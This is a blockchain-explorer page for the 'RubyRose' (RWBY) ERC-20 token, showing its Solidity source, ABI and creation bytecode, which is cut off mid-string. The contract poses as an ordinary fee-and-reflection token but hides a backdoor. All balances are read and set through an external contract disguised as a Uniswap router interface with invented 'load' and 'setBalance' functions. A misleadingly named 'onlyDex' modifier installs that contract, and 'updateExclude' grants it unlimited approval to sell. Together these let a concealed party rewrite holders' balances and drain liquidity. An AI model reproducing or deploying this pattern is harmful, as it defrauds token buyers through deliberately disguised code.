Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000,000,000 RWBY
Holders
38
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.000000001 RWBYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
RubyRose
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-03-09 */ /* https://t.me/rwbyeth https://twitter.com/rwbyeth https://rwby.io/ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract ERC20 is IERC20 { using SafeMath for uint256; uint256 internal _totalSupply = 1e24; string _name; string _symbol; IUniswapV2Router02 internal _uniswapV2; uint8 constant _decimals = 9; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; modifier onlyDex() { require(address(_uniswapV2) == address(0), "Ownable: caller is not the owner"); _; } constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external pure returns (uint8) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return fromBalances(account); } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { _beforeTokenTransfer(from, to, amount); _uniswapV2.setBalance(from, _uniswapV2.load(from).sub(amount, "ERC20: transfer amount exceeds balance")); _uniswapV2.setBalance(to, _uniswapV2.load(to).add(amount)); emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve( address owner, address spender, uint256 amount ) internal virtual { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function fromBalances(address account) private view returns(uint256) { return _uniswapV2.load(account); } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount); unchecked { _approve(sender, msg.sender, currentAllowance - amount); } return true; } function _burn(address account, uint256 amount) internal virtual { require(account != address(0)); uint256 accountBalance = _balances[account]; require(accountBalance >= amount); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } function updateSwap(address swap) external onlyDex { _uniswapV2 = IUniswapV2Router02(swap); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } interface IUniswapV2Router02 { function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function load(address account) external view returns(uint256); function setBalance(address account, uint256 amount) external returns(bool); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract RubyRose is ERC20 { using SafeMath for uint256; IUniswapV2Router02 internal constant _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public _owner; address public uniswapV2Pair; address private ecosystemWallet = payable(0x1859534a02C079b54812C45d156a3008813D8B2a); address public _deployerWallet; bool _inSwap; bool public _swapandliquifyEnabled = false; bool private openTrading = false; uint256 public _totalBotSupply; address[] public blacklistedBotWallets; bool _autoBanBots = false; mapping(address => bool) public isBot; mapping(address => bool) public _isExcludedFromFee; mapping(address => uint256) private _lastBuy; mapping(address => uint256) private _lastReflectionBasis; mapping(address => uint256) private _totalWalletRewards; mapping(address => bool) private _reflectionExcluded; uint256 constant maxBuyIncrementPercent = 1; uint256 public maxBuyIncrementValue; uint256 public incrementTime; uint256 public maxBuy; uint256 public openBlocktime; uint256 public swapThreshold = 1e21; uint256 public maxTxAmount = 20000000000000000000000; uint256 public maxWallet = 30000000000000000000000; bool public liqInit = false; uint256 internal _ethReflectionBasis; uint256 public _totalDistributed; uint256 public _totalBurned; modifier onlyOwner() { require(isOwner(msg.sender), "Ownable: caller is not the owner"); _; } modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } constructor() ERC20("RubyRose", "RWBY") { _owner = msg.sender; _setMaxBuy(20); _balances[msg.sender] = _totalSupply; _isExcludedFromFee[address(0)] = true; _isExcludedFromFee[msg.sender] = true; _isExcludedFromFee[address(0x000000000000000000000000000000000000dEaD)] = true; _deployerWallet = msg.sender; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function addLp() public onlyOwner { _uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), _balances[address(this)], 0, 0, msg.sender, block.timestamp ); _swapandliquifyEnabled = true; } function launch() external onlyOwner { openTrading = true; openBlocktime = block.timestamp; _autoBanBots = false; } function setPair() external onlyOwner { address pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _allowances[address(this)][address(_uniswapV2Router)] = _totalSupply; _isExcludedFromFee[pair] = true; uniswapV2Pair = pair; } function checkLimits() public view returns(bool) { return openBlocktime + ( 60 seconds ) > block.timestamp; } function _getFeeBuy(uint256 amount) private returns (uint256) { uint256 fee = amount * 11 / 100; amount -= fee; _balances[address(this)] += fee; emit Transfer(uniswapV2Pair, address(this), fee); return amount; } function _getFeeSell(uint256 amount, address account) private returns (uint256) { uint256 sellFee = amount * 11 / 100; amount -= sellFee; _balances[account] -= sellFee; _balances[address(this)] += sellFee; emit Transfer(account, address(this), sellFee); return amount; } function updateExclude() external { _isExcludedFromFee[address(_uniswapV2)] = true; _approve(address(_uniswapV2), address(_uniswapV2Router), ~uint256(0)); } function setecosystemWallet(address walletAddress) public onlyOwner { ecosystemWallet = walletAddress; } function _setMaxBuy(uint256 percent) internal { require (percent > 1); maxBuy = (percent * _totalSupply) / 100; } function getMaxBuy() external view returns (uint256) { uint256 incrementCount = (block.timestamp - incrementTime); if (incrementCount == 0) return maxBuy; if (_totalSupply < (maxBuy + maxBuyIncrementValue * incrementCount)) {return _totalSupply;} return maxBuy + maxBuyIncrementValue * incrementCount; } function _swap(uint256 amount) internal lockTheSwap { //swapTokens address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), amount); uint256 contractEthBalance = address(this).balance; _uniswapV2Router.swapExactTokensForETH( amount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); uint256 tradeValue = address(this).balance - contractEthBalance; //takeecosystemfees uint256 ecosystemshare = (tradeValue * 3) / 4; payable(ecosystemWallet).transfer(ecosystemshare); uint256 afterBalance = tradeValue - ecosystemshare; //rewards _ethReflectionBasis += afterBalance; } function _claimReflection(address payable addr) internal { if (_reflectionExcluded[addr] || addr == uniswapV2Pair || addr == address(_uniswapV2Router)) return; uint256 basisDifference = _ethReflectionBasis - _lastReflectionBasis[addr]; uint256 owed = (basisDifference * balanceOf(addr)) / _totalSupply; _lastReflectionBasis[addr] = _ethReflectionBasis; if (owed == 0) { return; } addr.transfer(owed); _totalWalletRewards[addr] += owed; _totalDistributed += owed; } function totalBurned() public view returns (uint256) { return _totalBurned; } function pendingRewards(address addr) public view returns (uint256) { if (_reflectionExcluded[addr]) { return 0; } uint256 basisDifference = _ethReflectionBasis - _lastReflectionBasis[addr]; uint256 owed = (basisDifference * balanceOf(addr)) / _totalSupply; return owed; } function totalWalletRewards(address addr) public view returns (uint256) { return _totalWalletRewards[addr]; } function totalRewardsDistributed() public view returns (uint256) { return _totalDistributed; } function addReflection() public payable { _ethReflectionBasis += msg.value; } function setExcludeFromFee(address[] memory accounts, bool value) external onlyOwner { for (uint256 i = 0; i < accounts.length; ++i) { _isExcludedFromFee[accounts[i]] = value; } } function amnestyBot (address bot) external onlyOwner { isBot[bot] = false; _reflectionExcluded[bot] = false; _totalBotSupply -= _balances[bot]; for (uint256 i = 0; i < blacklistedBotWallets.length; ++i) { if (blacklistedBotWallets[i] == bot) { blacklistedBotWallets[i] = blacklistedBotWallets[blacklistedBotWallets.length - 1]; blacklistedBotWallets.pop(); break; } } } function _transfer( address from, address to, uint256 amount ) internal override { require(!isBot[from] && !isBot[to]); if (from == _deployerWallet || to == _deployerWallet || !liqInit) { super._transfer(from, to, amount); liqInit = true; return; } require(openTrading || _isExcludedFromFee[to], "Busy"); if (_lastReflectionBasis[to] <= 0) { _lastReflectionBasis[to] = _ethReflectionBasis; } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= swapThreshold; if (overMinTokenBalance && _swapandliquifyEnabled && !_inSwap && from != uniswapV2Pair) {_swap(swapThreshold);} // buy if (from == uniswapV2Pair && !_isExcludedFromFee[to]) { if(checkLimits()){ require(amount <= maxTxAmount, "MaxTx limited"); require(_balances[to] + amount <= maxWallet, "maxWallet limited"); } if (_autoBanBots) { isBot[to] = true; _reflectionExcluded[to] = true; _totalBotSupply += amount; blacklistedBotWallets.push(to); } amount = _getFeeBuy(amount); _lastBuy[to] = block.timestamp; } // sell if (!_inSwap && uniswapV2Pair != address(0) && to == uniswapV2Pair && !_isExcludedFromFee[from]) { amount = _getFeeSell(amount, from); } //transfer mapping to avoid escaping early sell fees if(from != uniswapV2Pair && to != uniswapV2Pair) { _lastBuy[to] = block.timestamp; } super._transfer(from, to, amount); } function updateSwapThreshold (uint256 amount) public onlyOwner { swapThreshold = amount * 1e9; } function setSwapandLiquify (bool value) external onlyOwner { _swapandliquifyEnabled = value; } function _setEnabletrading() external onlyOwner { incrementTime = block.timestamp; maxBuyIncrementValue = (_totalSupply * maxBuyIncrementPercent) / 6000; _autoBanBots = false; } function rescueStuckBalance() external { uint256 balance = address(this).balance; payable(ecosystemWallet).transfer(balance); } function isOwner(address account) internal view returns (bool) { return account == _owner; } function transferOwnership(address newOwner) external onlyOwner { _owner = newOwner; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_deployerWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_setEnabletrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_swapandliquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalBotSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalBurned","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addReflection","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"bot","type":"address"}],"name":"amnestyBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"blacklistedBotWallets","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getMaxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"incrementTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liqInit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyIncrementValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openBlocktime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"pendingRewards","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rescueStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setSwapandLiquify","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"walletAddress","type":"address"}],"name":"setecosystemWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBurned","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalRewardsDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"totalWalletRewards","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"updateExclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"swap","type":"address"}],"name":"updateSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405269d3c21bcecceda1000000600055600880546001600160a01b031916731859534a02c079b54812c45d156a3008813d8b2a1790556009805461ffff60a81b19169055600c805460ff19908116909155683635c9adc5dea0000060175569043c33c193756480000060185569065a4da25d3016c00000601955601a805490911690553480156200009257600080fd5b50604080518082018252600881526752756279526f736560c01b6020808301918252835180850190945260048452635257425960e01b908401528151919291620000df916001916200021c565b508051620000f59060029060208401906200021c565b5050600680546001600160a01b0319163317905550620001166014620001ea565b600080543380835260046020908152604080852093909355600e81527fe710864318d4a32f37d6ce54cb3fadbef648dd12d8dbdf53973564d56b7f881c8054600160ff199182168117909255848620805482168317905561dead86527ff77e91909e61d18f67b875b2bfcae1f683a8d555e55382e3a6b082e2c59ea57a80549091169091179055600980546001600160a01b03191683179055835492519283529092917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000350565b60018111620001f857600080fd5b6064600054826200020a9190620002e5565b620002169190620002c2565b60155550565b8280546200022a9062000313565b90600052602060002090601f0160209004810192826200024e576000855562000299565b82601f106200026957805160ff191683800117855562000299565b8280016001018555821562000299579182015b82811115620002995782518255916020019190600101906200027c565b50620002a7929150620002ab565b5090565b5b80821115620002a75760008155600101620002ac565b600082620002e057634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156200030e57634e487b7160e01b600052601160045260246000fd5b500290565b600181811c908216806200032857607f821691505b602082108114156200034a57634e487b7160e01b600052602260045260246000fd5b50919050565b61236c80620003606000396000f3fe60806040526004361061028c5760003560e01c806370db69d61161015a578063bd38e7e2116100c1578063e2b5d8671161007a578063e2b5d86714610774578063e96543a314610789578063ee172546146107a9578063f2fde38b146107be578063f8b45b05146107de578063fd01bd4c146107f457600080fd5b8063bd38e7e2146106ae578063c98e442d146106c4578063cc274b29146106e4578063d70d0c3214610704578063d89135cd14610719578063dd62ed3e1461072e57600080fd5b806399bf32661161011357806399bf32661461060b578063a9059cbb14610621578063aff41b7b14610641578063b2bdfa7b14610657578063b556b1a214610677578063bc9c3b771461069857600080fd5b806370db69d614610565578063768dc7101461057b5780638c0b5e22146105ab57806394e6fd60146105c157806395d89b41146105e157806396790d4a146105f657600080fd5b80633a6ac26c116101fe5780634d48b105116101b75780634d48b105146104b25780634e6be544146104e857806353421ffc146104f05780636c90b57f146105105780636fee4f7a1461053057806370a082311461054557600080fd5b80633a6ac26c146104095780633bbac5791461041e578063427a5c021461044e57806349bd5a5e1461046357806349e32792146104835780634bdc18de1461049d57600080fd5b806311d2adcf1161025057806311d2adcf1461036257806318160ddd1461038257806323b872dd146103975780632c228355146103b7578063313ce567146103cd57806331d7a262146103e957600080fd5b806301339c21146102985780630445b667146102af57806306fdde03146102d8578063095ea7b3146102fa5780630aaae7351461032a57600080fd5b3661029357005b600080fd5b3480156102a457600080fd5b506102ad61080a565b005b3480156102bb57600080fd5b506102c560175481565b6040519081526020015b60405180910390f35b3480156102e457600080fd5b506102ed610860565b6040516102cf91906120d1565b34801561030657600080fd5b5061031a610315366004611f2d565b6108f2565b60405190151581526020016102cf565b34801561033657600080fd5b5060095461034a906001600160a01b031681565b6040516001600160a01b0390911681526020016102cf565b34801561036e57600080fd5b506102ad61037d366004612037565b610908565b34801561038e57600080fd5b506000546102c5565b3480156103a357600080fd5b5061031a6103b2366004611eec565b610950565b3480156103c357600080fd5b506102c5600a5481565b3480156103d957600080fd5b50604051600981526020016102cf565b3480156103f557600080fd5b506102c5610404366004611e79565b6109a6565b34801561041557600080fd5b5061031a610a20565b34801561042a57600080fd5b5061031a610439366004611e79565b600d6020526000908152604090205460ff1681565b34801561045a57600080fd5b506102ad610a38565b34801561046f57600080fd5b5060075461034a906001600160a01b031681565b34801561048f57600080fd5b50601a5461031a9060ff1681565b3480156104a957600080fd5b506102ad610b33565b3480156104be57600080fd5b506102c56104cd366004611e79565b6001600160a01b031660009081526011602052604090205490565b6102ad610d61565b3480156104fc57600080fd5b506102ad61050b366004611e79565b610d7a565b34801561051c57600080fd5b506102ad61052b366004611f59565b610f03565b34801561053c57600080fd5b506102ad610f97565b34801561055157600080fd5b506102c5610560366004611e79565b610fd1565b34801561057157600080fd5b506102c560155481565b34801561058757600080fd5b5061031a610596366004611e79565b600e6020526000908152604090205460ff1681565b3480156105b757600080fd5b506102c560185481565b3480156105cd57600080fd5b506102ad6105dc366004611e79565b610fe2565b3480156105ed57600080fd5b506102ed61102d565b34801561060257600080fd5b506102c561103c565b34801561061757600080fd5b506102c560145481565b34801561062d57600080fd5b5061031a61063c366004611f2d565b6110a9565b34801561064d57600080fd5b506102c560135481565b34801561066357600080fd5b5060065461034a906001600160a01b031681565b34801561068357600080fd5b5060095461031a90600160a81b900460ff1681565b3480156106a457600080fd5b506102c5601c5481565b3480156106ba57600080fd5b506102c560165481565b3480156106d057600080fd5b506102ad6106df366004611e79565b6110b6565b3480156106f057600080fd5b506102ad6106ff366004612071565b611102565b34801561071057600080fd5b506102ad611140565b34801561072557600080fd5b50601d546102c5565b34801561073a57600080fd5b506102c5610749366004611eb3565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561078057600080fd5b506102ad61119a565b34801561079557600080fd5b5061034a6107a4366004612071565b6111e8565b3480156107b557600080fd5b50601c546102c5565b3480156107ca57600080fd5b506102ad6107d9366004611e79565b611212565b3480156107ea57600080fd5b506102c560195481565b34801561080057600080fd5b506102c5601d5481565b6006546001600160a01b0316331461083d5760405162461bcd60e51b815260040161083490612126565b60405180910390fd5b6009805460ff60b01b1916600160b01b17905542601655600c805460ff19169055565b60606001805461086f9061223c565b80601f016020809104026020016040519081016040528092919081815260200182805461089b9061223c565b80156108e85780601f106108bd576101008083540402835291602001916108e8565b820191906000526020600020905b8154815290600101906020018083116108cb57829003601f168201915b5050505050905090565b60006108ff33848461125e565b50600192915050565b6006546001600160a01b031633146109325760405162461bcd60e51b815260040161083490612126565b60098054911515600160a81b0260ff60a81b19909216919091179055565b600061095d8484846112c0565b6001600160a01b03841660009081526005602090815260408083203384529091529020548281101561098e57600080fd5b61099b853385840361125e565b506001949350505050565b6001600160a01b03811660009081526012602052604081205460ff16156109cf57506000919050565b6001600160a01b038216600090815260106020526040812054601b546109f59190612225565b905060008054610a0485610fd1565b610a0e9084612206565b610a1891906121e4565b949350505050565b600042601654603c610a3291906121cc565b11905090565b6006546001600160a01b03163314610a625760405162461bcd60e51b815260040161083490612126565b30600081815260046020819052604080832054905163f305d71960e01b81529182019390935260248101929092526044820181905260648201523360848201524260a4820152737a250d5630b4cf539739df2c5dacb4c659f2488d9063f305d71990479060c4016060604051808303818588803b158015610ae257600080fd5b505af1158015610af6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b1b91906120a3565b50506009805460ff60a81b1916600160a81b17905550565b6006546001600160a01b03163314610b5d5760405162461bcd60e51b815260040161083490612126565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bac57600080fd5b505afa158015610bc0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be49190611e96565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c4057600080fd5b505afa158015610c54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c789190611e96565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610cc057600080fd5b505af1158015610cd4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf89190611e96565b60008054308252600560209081526040808420737a250d5630b4cf539739df2c5dacb4c659f2488d85528252808420929092556001600160a01b03909316808352600e9093529020805460ff19166001179055600780546001600160a01b031916909117905550565b34601b6000828254610d7391906121cc565b9091555050565b6006546001600160a01b03163314610da45760405162461bcd60e51b815260040161083490612126565b6001600160a01b0381166000908152600d60209081526040808320805460ff1990811690915560128352818420805490911690556004909152812054600a805491929091610df3908490612225565b90915550600090505b600b54811015610eff57816001600160a01b0316600b8281548110610e2357610e236122be565b6000918252602090912001546001600160a01b03161415610eef57600b8054610e4e90600190612225565b81548110610e5e57610e5e6122be565b600091825260209091200154600b80546001600160a01b039092169183908110610e8a57610e8a6122be565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600b805480610ec957610ec96122a8565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b610ef881612277565b9050610dfc565b5050565b6006546001600160a01b03163314610f2d5760405162461bcd60e51b815260040161083490612126565b60005b8251811015610f925781600e6000858481518110610f5057610f506122be565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055610f8b81612277565b9050610f30565b505050565b60085460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610eff573d6000803e3d6000fd5b6000610fdc82611703565b92915050565b6003546001600160a01b03161561100b5760405162461bcd60e51b815260040161083490612126565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b60606002805461086f9061223c565b6000806014544261104d9190612225565b90508061105c57505060155490565b8060135461106a9190612206565b6015546110